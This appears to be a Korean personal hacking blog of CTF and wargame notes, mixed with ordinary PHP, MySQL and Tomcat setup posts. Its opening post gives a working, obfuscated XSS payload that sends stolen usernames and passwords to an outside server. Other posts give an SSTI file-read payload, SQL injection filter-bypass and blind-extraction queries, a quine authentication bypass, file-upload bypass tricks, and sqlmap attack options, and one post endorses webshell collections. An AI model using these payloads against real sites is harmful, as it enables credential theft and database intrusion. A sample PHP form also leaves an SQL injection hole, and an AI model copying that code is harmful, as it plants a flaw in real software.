원리는 다음과 같다.

1. document.getElementById('uid').value로 아이디, 패스워드를 가져온다.

2. 변수에 넣고 내 서버로 날리면 끝.

3. location.href같은거 쓰면 페이지 이동이 되니까, 그냥 Image().src='http://server/id/pw';

이렇게 해주고 서버에 access.log를 본다. (아니면 파라미터 넘겨도 되고)

4. 쿼터가 막혀있을 수 있으니 String.fromCharCode()를 써서 아스키화 한다.


id=document.getElementById(String.fromCharCode(117,105,100)).value;

pw=document.getElementById(String.fromCharCode(117,112,119)).value;

Image().src=String.fromCharCode(104,116,116,112,58,47,47,97,46,99,111,109,47).concat(id).concat(String.fromCharCode(47)).concat(pw);

// request to http://a.com/id/pw

' > XSS' 카테고리의 다른 글

XSS로 아이디, 패스워드 탈취  (0) 2019.06.26
xss 익스, 필터링 우회  (0) 2018.10.17
Posted by 범고래_1

python SSTI

2018.11.30 03:49
http://url/?name={{url_for.__globals__.__builtins__.open(request.args.filename).read()}}&filename=flag.py


'' 카테고리의 다른 글

python SSTI  (0) 2018.11.30
curl로 데이터 보내기  (0) 2018.07.28
urllib urldecode url디코드  (0) 2018.07.09
Posted by 범고래_1

sqli 필터링 우회

웹/SQLi 2018.10.26 15:42

1. 공백 우회

?id=(0)union(select(1),(2),group_concat(column_name),(4),(5)from(information_schema.columns))


2. = 우회

like, in, regexp 쓰면된다. regexp는 정규식 관련 연산자이다.

또한, if, strcmp를 이용하는 방법도 있다.

if(strcmp(substr(‘abc’,1,1),’a’),0,1)


3. 에러기반 SQLi

1) 일단 가장 기본

서브쿼리는 한 개의 행만 리턴해야 하는데, (select 1 union select 2)는 두 개의 행을 리턴하므로 에러를 뱉는다.

if(조건,1, (select 1 union select 2)) 일케하면, 조건이 거짓일 땐 에러발생이므로 조건에 따른 blind 가능


2) 0xfffffffffffff*0xfffffffffffff를 하면 int 범위를 초과하여 BIGINT UNSIGNED value is out of range 에러가 발생한다.


3) 오류메시지를 출력해줄 경우, xpath 오류 메시지를 이용하면 데이터를 뽑을 수 있다.

mysql에서 extractvalue 함수는 xml data xpath 쿼리를 실행한다. 사용법은 다음과 같다.

ExtractValue([xmldata], [xpathquery])

여기서 xpath query 에 문법적 오류가 있으면 에러 메시지를 그대로 출력한다.

procedure analyse(extractvalue(1,concat(0x1,version( ))),1)

procedure analyse(extractvalue(1,concat(0x1, (select pw from table limit 1,1))),1)


4) 오류메시지가 안 나오나면, 시간기반 블라인드는

procedure analyse(extractvalue(1,concat(0x1,if((select mid(pw,1,1) from table limit 1 )='a', benchmark(4000000,sha('a')),0))),1)


' > SQLi' 카테고리의 다른 글

sqli 필터링 우회  (0) 2018.10.26
from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08
Posted by 범고래_1

php 에러설정

웹/PHP 2018.10.22 04:42

' > PHP' 카테고리의 다른 글

php 에러설정  (0) 2018.10.22
PHP 설치 각종 설정  (0) 2018.03.20
PHP 버전 바꾸기  (0) 2017.07.07
아파치, PHP 보안설정  (0) 2017.01.12
php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
Posted by 범고래_1

.이 막혔을 때

`로 대체 가능

location.href

location[`href`]

window[`location`][`href`]

document[`cookie`]

String[`fromCharCode`]


location.href

이거는 

window.location

window.open (새창) 으로 우회 가능 !

' > XSS' 카테고리의 다른 글

XSS로 아이디, 패스워드 탈취  (0) 2019.06.26
xss 익스, 필터링 우회  (0) 2018.10.17
Posted by 범고래_1
select no, id from table

뭐 대충 이런 쿼리다 치고, table 부분에 인젝션이 가능하다고 하면 아래와 같은 쿼리로 데이터를 뽑아올 수 있다. (서브쿼리 이용)

select no, id from (select no, pw id from table) a

서브쿼리의 결과도 테이블이므로, 이 테이블을 대상으로 select 하는 것 같다.
alias는 테이블명 맞춰주기 위한 것이고

관련 문제 : http://websec.fr/level11/index.php


신기방기~

' > SQLi' 카테고리의 다른 글

sqli 필터링 우회  (0) 2018.10.26
from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08
Posted by 범고래_1

curl로 데이터 보내기

2018.07.28 02:11

curl -s --data 'foo=2&bar=1234' https://example.com | grep -oE 'WEBSEC{.+}'


머 대충 이런식으로 하면 댄다....



ex) curl -s --data 'user_id=2&table=(select 2 id, enemy username from costume)&submit=Submit+Query' https://websec.fr/level11/index.php | grep -oE 'WEBSEC{.+}'

'' 카테고리의 다른 글

python SSTI  (0) 2018.11.30
curl로 데이터 보내기  (0) 2018.07.28
urllib urldecode url디코드  (0) 2018.07.09
Posted by 범고래_1
import urllib
str = "blah blah"
print urllib.unquote(str).decode('utf8')

'' 카테고리의 다른 글

python SSTI  (0) 2018.11.30
curl로 데이터 보내기  (0) 2018.07.28
urllib urldecode url디코드  (0) 2018.07.09
Posted by 범고래_1

create user 'webbased'@'%' identified by 'webbased';

grant all privileges on webbased.* to 'webbased'@'%';

grant select on webbased.* to 'webbased'@'%';

flush privileges;

' > MySQL' 카테고리의 다른 글

MySQL 계정 생성, 권한 부여  (0) 2018.05.28
mysql 권한주기  (0) 2017.02.03
MySQL 기본 명령어 (Column)  (0) 2014.09.08
mysqli_fetch_array()  (0) 2014.09.08
MySQL 자료형(Data Type)  (0) 2014.09.06
MySQL 기본함수  (0) 2014.09.04
Posted by 범고래_1

php 레포추가

sudo add-apt-repository ppa:ondrej/php


설치 후 엔진이 꺼져있을 때

apt-get install libapache2-mod-php


혹은


apt-get install libapache2-mod-php7.0



현재 PHP 7.2을 사용중인데  PHP 5.6으로  디폴트 버전을 변경

sudo a2dismod php7.2 ; sudo a2enmod php5.6 ; sudo service apache2 restart

sudo update-alternatives --set php /usr/bin/php5.6



현재 PHP 5.6을 사용중인데  PHP 7.2로  디폴트 버전을 변경

sudo a2dismod php5.6 ; sudo a2enmod php7.2 ; sudo service apache2 restart sudo update-alternatives --set php /usr/bin/php7.2

http://webnautes.tistory.com/1028

' > PHP' 카테고리의 다른 글

php 에러설정  (0) 2018.10.22
PHP 설치 각종 설정  (0) 2018.03.20
PHP 버전 바꾸기  (0) 2017.07.07
아파치, PHP 보안설정  (0) 2017.01.12
php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
Posted by 범고래_1

*.jsp

/var/lib/tomcat8/webapps/ROOT


server.xml, web.xml

/etc/tomcat8

' > JSP,tomcat' 카테고리의 다른 글

JSP 디렉터리 모음  (0) 2018.03.09
JSP 한글 설정  (0) 2018.03.09
Posted by 범고래_1

페이지 맨 위에 

<%@ page contentType="text/html;charset=utf-8"%> 

' > JSP,tomcat' 카테고리의 다른 글

JSP 디렉터리 모음  (0) 2018.03.09
JSP 한글 설정  (0) 2018.03.09
Posted by 범고래_1

PHP 버전 바꾸기

웹/PHP 2017.07.07 19:52

Switch PHP version ( Apache ):

  • from php5.6 to php7.0:
    sudo a2dismod php5.6 ; sudo a2enmod php7.0 ; sudo service apache2 restart

  • from php7.0 to php5.6:
    sudo a2dismod php7.0 ; sudo a2enmod php5.6 ; sudo service apache2 restart


(아직 테스트는 못 해봄..)

' > PHP' 카테고리의 다른 글

php 에러설정  (0) 2018.10.22
PHP 설치 각종 설정  (0) 2018.03.20
PHP 버전 바꾸기  (0) 2017.07.07
아파치, PHP 보안설정  (0) 2017.01.12
php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
Posted by 범고래_1

rootme-.org에는 SQLite로 된 문제가 종종 있다.

(심지어 postgreSQL도 있다.)


SQLite에는 information_schema가 없다.

그대신 SQLite에는 sqlite_master라는게 있다.


테이블 명과 컬럼 명을 빼낼 때 아래와 같이 하면 된다.


# select table_name from information_schema.tables

== select name from sqlite_master

(또는 select tbl_name from sqlite_master)


select sql from sqlite_master

결과-> CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)

-> 모든 테이블에 대해 수행...


etc)

주석은 # 안 먹히는듯...

-> 안 먹힌다.




' > SQLi' 카테고리의 다른 글

sqli 필터링 우회  (0) 2018.10.26
from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08
Posted by 범고래_1

James Lee

웹/웹_기타 2017.02.14 10:28

http://blog.naver.com/1n73ction/220846069267


http://pastebin.com/vnGkMu84

http://pastebin.com/1Rd2e4R5


polygon

http://frostyhacks.blogspot.kr/2014/11/error-you-have-sqli-in-your-polygons.htmlhttp://frostyhacks.blogspot.kr/2014/11/error-you-have-sqli-in-your-polygons.html

' > 웹_기타' 카테고리의 다른 글

James Lee  (0) 2017.02.14
파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
Posted by 범고래_1

mysql 권한주기

웹/MySQL 2017.02.03 17:18

1. 계정 추가

mysql> create user userid@localhost identified by '비밀번호';


계정 삭제

mysql> drop user userid@localhost;


2. DB, table에 권한 주기

mysql> grant select, insert, update privileges on DB명.테이블 to 아이디@host identified by '비밀번호';

mysql> grant all privileges on DB명.테이블 to 아이디@host identified by '비밀번호';

' > MySQL' 카테고리의 다른 글

MySQL 계정 생성, 권한 부여  (0) 2018.05.28
mysql 권한주기  (0) 2017.02.03
MySQL 기본 명령어 (Column)  (0) 2014.09.08
mysqli_fetch_array()  (0) 2014.09.08
MySQL 자료형(Data Type)  (0) 2014.09.06
MySQL 기본함수  (0) 2014.09.04
Posted by 범고래_1

아래와 같이 입력받은 값과 쿼리의 리턴값이 같으면 인증되는 코드가 있다고 하자.

 if ($_GET['pw'] === $result['pw'])

        echo "<h3> CONG !! </h3>";


아래와 같이 쿼리를 날려주면 리턴값을 입력값과 같게 만들 수 있다.

mysql> select pw from prob_1 where id='' and pw=''union select REPLACE(@v:='\'union select REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''));

+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

| pw                                                                                                                                                                                     |

+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

| 'union select REPLACE(@v:='\'union select REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\'')); |

+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

1 row in set (0.01 sec)


위 쿼리에서 입력값은 'union select REPLACE~이고, 리턴되는 값도 같음을 확인할 수 있다.


아래는 복붙용


REPLACE(@v:='\'union select 1,REPLACE(@v:=\'2\',1%2b1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'))%23',1%2b1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''))%23


진한 부분에 입력값과 같은 쿼리를 넣어주면 된다.



--------------------------------------------------

ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'

union 타입 에러가 날 땐 컬럼의 character set을 걍 utf8로 바꿔주자.

mysql> alter table prob_1 modify column pw text character set utf8;

' > SQLi' 카테고리의 다른 글

sqli 필터링 우회  (0) 2018.10.26
from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08
Posted by 범고래_1

1. 에러메시지 출력 해제

php.ini

display_errors = Off


1. 디렉터리 리스팅 끄기

/etc/apache2/conf.d/security

또는

/etc/apache2/apache2.conf


<Directory /var/www/>

Options FollowSymLinks

</Directory>


디렉터리 리스팅 키려면

Options Indexes FollowSymLinks



해당 디렉터리만 하려면 .htaccess에

Options Indexes


' > PHP' 카테고리의 다른 글

PHP 설치 각종 설정  (0) 2018.03.20
PHP 버전 바꾸기  (0) 2017.07.07
아파치, PHP 보안설정  (0) 2017.01.12
php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
PHP 함수  (0) 2014.09.07
Posted by 범고래_1

문자열 우회


ascii(‘a’) = 97
ord(‘a’) = 97

‘abc’ = char(97,98,99)

'abc' = unhex(616263)
hex(‘a’) = 61


substr 우회

mid

lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’


문자열 검색

locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)



각종 필터링 걸려있을 땐 정규식 이용

where id regexp "admin"


admin이 필터링 되어있으면

where id regexp concat("admi", "n")


정규식에서 "^admin"은 "admin"으로 시작

"adadmin" 이런게 테이블에 들어있을 때 쓰면 좋다.

' > SQLi' 카테고리의 다른 글

sqli 필터링 우회  (0) 2018.10.26
from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08
Posted by 범고래_1

1. “test.php “와 같이 확장자 명 뒤에 공백


2. 파일 확장자를 php5와 같이 변경


3. 파일 이름 뒤에 % 붙여서 전송 (프록시로)


4. 널 바이트 이용. (root-me.org - File upload)

[파일 업로드시 png파일 밖에 안 올라간다.]

Content-Type을 아래와 같이 주고

파일명을 .png로 인식하게 하고 업로드 성공시킨다.

업로드한 파일 실행시에는 php파일이 되어야 하므로, %00로 .png를 날린다.


Content-Disposition: form-data; name="file"; filename="a.php%00.png"

Content-Type: image/png


' > 웹_기타' 카테고리의 다른 글

James Lee  (0) 2017.02.14
파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
Posted by 범고래_1

POST값 조작

웹/웹_기타 2016.07.14 21:32

바디(Request Payload)에 아래와 같이 변수=값 형태로 넣어주면 된다.


username=admin


헤더에 Content-Type: application/x-www-form-urlencoded

추가해주어야 한다.


그래도 안 되면

Content-length: 10

과 같이 Content-length도 추가해준다.


Connection: keep-alive

도 추가해본다.

' > 웹_기타' 카테고리의 다른 글

James Lee  (0) 2017.02.14
파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
Posted by 범고래_1

php code checker

웹/PHP 2016.04.22 12:41

http://phpcodechecker.com/

' > PHP' 카테고리의 다른 글

PHP 버전 바꾸기  (0) 2017.07.07
아파치, PHP 보안설정  (0) 2017.01.12
php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
PHP 함수  (0) 2014.09.07
php 시작하기  (0) 2014.09.02
Posted by 범고래_1

http://webhackerkhuti.blogspot.com/2013/10/xe-1732-lfi.html

' > 웹_기타' 카테고리의 다른 글

파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
sqlmap 사용법  (0) 2016.03.06
Posted by 범고래_1

https://github.com/foospidy/payloads

' > 웹_기타' 카테고리의 다른 글

파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
sqlmap 사용법  (0) 2016.03.06
Posted by 범고래_1

웹쉘 모음

웹/웹_기타 2016.03.26 18:22

웹쉘 모음


https://github.com/tennc/webshell/tree/master/php


WSO, WPES 쓸만한듯...

' > 웹_기타' 카테고리의 다른 글

파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
sqlmap 사용법  (0) 2016.03.06
Posted by 범고래_1

sqlmap 사용법

웹/웹_기타 2016.03.06 19:26

옵션설명


-h : 도움말

-hh : 상세도움말



$ python sqlmap.py -u "https://test.com/index.php" --data="id=a&pw=a" -p "pw" --random-agent --dbms=mysql --level=5 --risk=3 --threads=10



-u : URL

--data : post로 넘길 때

-p : 공격할 parameter

--random-agent : user-agent 넣고 실행

--level

--dbms=mysql : dbms설정

--threads : 쓰레드 설정 (속도)


--dbs : DB리스트 캐내기 (Enumerate)

--tables : table 리스트 캐내기

--columns : 컬럼 캐내기


-D "c9" : DB지정

-T "guestbook" : 테이블 지정




기타옵션

-v : verbose, 0부터 6까지 지정, 단계별로 공격 로그확인

--tor : 토르 사용, Vidalia라는 것 설치해야 하는듯

--user-agent="Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" : user agent 주작

--cookie="PHPSESSID=532241126619564c18e1b1c628e09aa9" : 쿠키넣기

--union-char : union 인젝션



기존공격 저장 로그파일

/home/ubuntu/.sqlmap/output

(또는)

/usr/share/sqlmap/output/


--random-agent 파일

txt/user-agents.txt

' > 웹_기타' 카테고리의 다른 글

파일업로드 우회  (0) 2016.12.08
POST값 조작  (0) 2016.07.14
XE LFI 취약점 설명  (0) 2016.04.16
페이로드 모음 (github)  (0) 2016.04.13
웹쉘 모음  (0) 2016.03.26
sqlmap 사용법  (0) 2016.03.06
Posted by 범고래_1

column 관련 명령어 정리


컬럼 추가

mysql> ALTER TABLE 테이블_이름 ADD 컬럼_이름 컬럼_타입;

ex) ALTER TABLE email_list ADD id INT AUTO_INCREMENT FIRST, ADD PRIMARY KEY (id);

ex) ALTER 


컬럼 삭제

mysql> ALTER TABLE 테이블_이름 DROP 컬럼_이름;

ex) ALTER TABLE guitarwars DROP score;

// 컬럼에 저장된 모든 데이터를 삭제한다. 매우 조심스럽게 사용하자.


컬럼 이름 변경

mysql> ALTER TLABLE 테이블_이름 CHANGE COLUMN 기존_컬럼명 새_컬럼명 새_데이터타입;

ex) ALTER TABLE guitarwars CHANGE COLUMN score high_score INT AFTER name;


컬럼 데이터타입 변경

mysql> ALTER TABLE 테이블_이름 MODIFY COLUMN 컬럼_이름 데이터타입;

ex) ALTEr TABLE guitarwars MODIFY COLUMN date DATETIME AFTER time;


테이블명 수정

mysql> ALTER TABLE 이전_테이블명 RENAME 변경_테이블명;

mysql> ALTER TABLE friend RENAME student;

' > MySQL' 카테고리의 다른 글

MySQL 계정 생성, 권한 부여  (0) 2018.05.28
mysql 권한주기  (0) 2017.02.03
MySQL 기본 명령어 (Column)  (0) 2014.09.08
mysqli_fetch_array()  (0) 2014.09.08
MySQL 자료형(Data Type)  (0) 2014.09.06
MySQL 기본함수  (0) 2014.09.04
Posted by 범고래_1

mysqli_fetch_array()

웹/MySQL 2014.09.08 02:25
mysqli_fetch_array()는 데이터 로우(row)를 배열로 저장한다.
$row = mysqli_fetch_array($result);
이 코드가 실행될 때마다 쿼리의 결과 중 하나의 데이터 로우를 가져와 $row 배열에 저장한다.
컬럼(column)명을 배열의 인덱스(index)로 하여 각각 $row배열에 저장한다.

자세한 사항은 아래 소스코드 참조.
<!DOCTYPE HTML>
<html>
<head>
  <meta charset="utf-8">
</head>

<body>
  
  <?php
    $dbc = mysqli_connect('localhost', 'root', '', 'guitar')
    or die('connecting error');

    $query = "SELECT * FROM guitarwars";

    $result = mysqli_query($dbc, $query);

    while($row = mysqli_fetch_array($result)) {

    echo $row['name'].' :  '.$row['score'].'<br>';

    }   

  mysqli_close($dbc);
  ?>  
  <a href="addscore.php">back</a> <br>
  

</body>
</html>



결과





' > MySQL' 카테고리의 다른 글

mysql 권한주기  (0) 2017.02.03
MySQL 기본 명령어 (Column)  (0) 2014.09.08
mysqli_fetch_array()  (0) 2014.09.08
MySQL 자료형(Data Type)  (0) 2014.09.06
MySQL 기본함수  (0) 2014.09.04
MySQL 기본 명령어 (Database 및 Table)  (0) 2014.09.03
Posted by 범고래_1

유효성 검사 예제

웹/PHP 2014.09.08 01:57








isset() 함수는 변수의 설정 유무를 확인한다.
$_SERVER['PHP_SELF']는 현재 파일명을 저장한다.
이를 사용하면 파일 명이 바뀌어도 스크립트 코드를 수정해야 할 필요가 없다. (유지 보수가 쉬워짐)
empty()함수를 이용하여 폼이 비어있으면 에러 메시지를 출력한다.
이때, 필드에 입력되는 데이터를 기억하고 필드에 채워진 상태로 폼을 출력한다.


<?php

  $name = $_POST['name'];
  $score = $_POST['score'];

  ?>

  <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  Name : <input type="text" name="name" value="<?php echo $name; ?>" > <br>
  Score : <input type="text" name="score" value="<?php echo $score; ?>"> <br>
  Screen shot : <input type="file" name="screenshot" multiple> <br>
  <input type="submit" value="Add" name="submit"> <br>
  </form>

  <?php
 
  if (isset($_POST['submit'])) {

    if(empty($name) || empty($score) ) {
      echo "Your field is blank.<br>";
    }

    else {
      $dbc = mysqli_connect('localhost', 'root', '', 'guitar') or die ('Connect error');
      $query = "INSERT INTO guitarwars (name, score, date, time) VALUES ('$name', '$score', NOW(), NOW() )";
      mysqli_query($dbc, $query) or die ('Querying error');
      mysqli_close($dbc);

      echo "Added<br>";
    }
  }

  ?>


' > PHP' 카테고리의 다른 글

아파치, PHP 보안설정  (0) 2017.01.12
php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
PHP 함수  (0) 2014.09.07
php 시작하기  (0) 2014.09.02
PHP 동작원리  (0) 2014.09.02
Posted by 범고래_1

PHP 함수

웹/PHP 2014.09.07 01:39
while

if

if - else


foreach

foreach 반복문은 배열에 저장된 요소에 순차적으로 반복 접근하기 위한 반복문이다.

반복 접근하려는 배열의 이름과, 배열에 저장되어 있는 요소를 지칭하는 변수를 지정하면 된다.

그러면 알아서 배열 요소에 순차적으로 반복 접근한다.


isset()

변수가 존재하는지 여부.

변수에 값이 할당되었는지를 확인하는데 사용.

할당되었으면 참값을 반환


empty()

변수에 빈 값이 할당되어있는지 확인.

0, NULL, false가 할당되어있으면 참값을 반환.


isset()은 변수의 존재 여부만 확인.

empty()은 변수가 실제로 내용을 저장하고 있는지 여부를 확인.




' > PHP' 카테고리의 다른 글

php code checker  (0) 2016.04.22
유효성 검사 예제  (0) 2014.09.08
PHP 함수  (0) 2014.09.07
php 시작하기  (0) 2014.09.02
PHP 동작원리  (0) 2014.09.02
웹서버 설치  (0) 2014.09.02
Posted by 범고래_1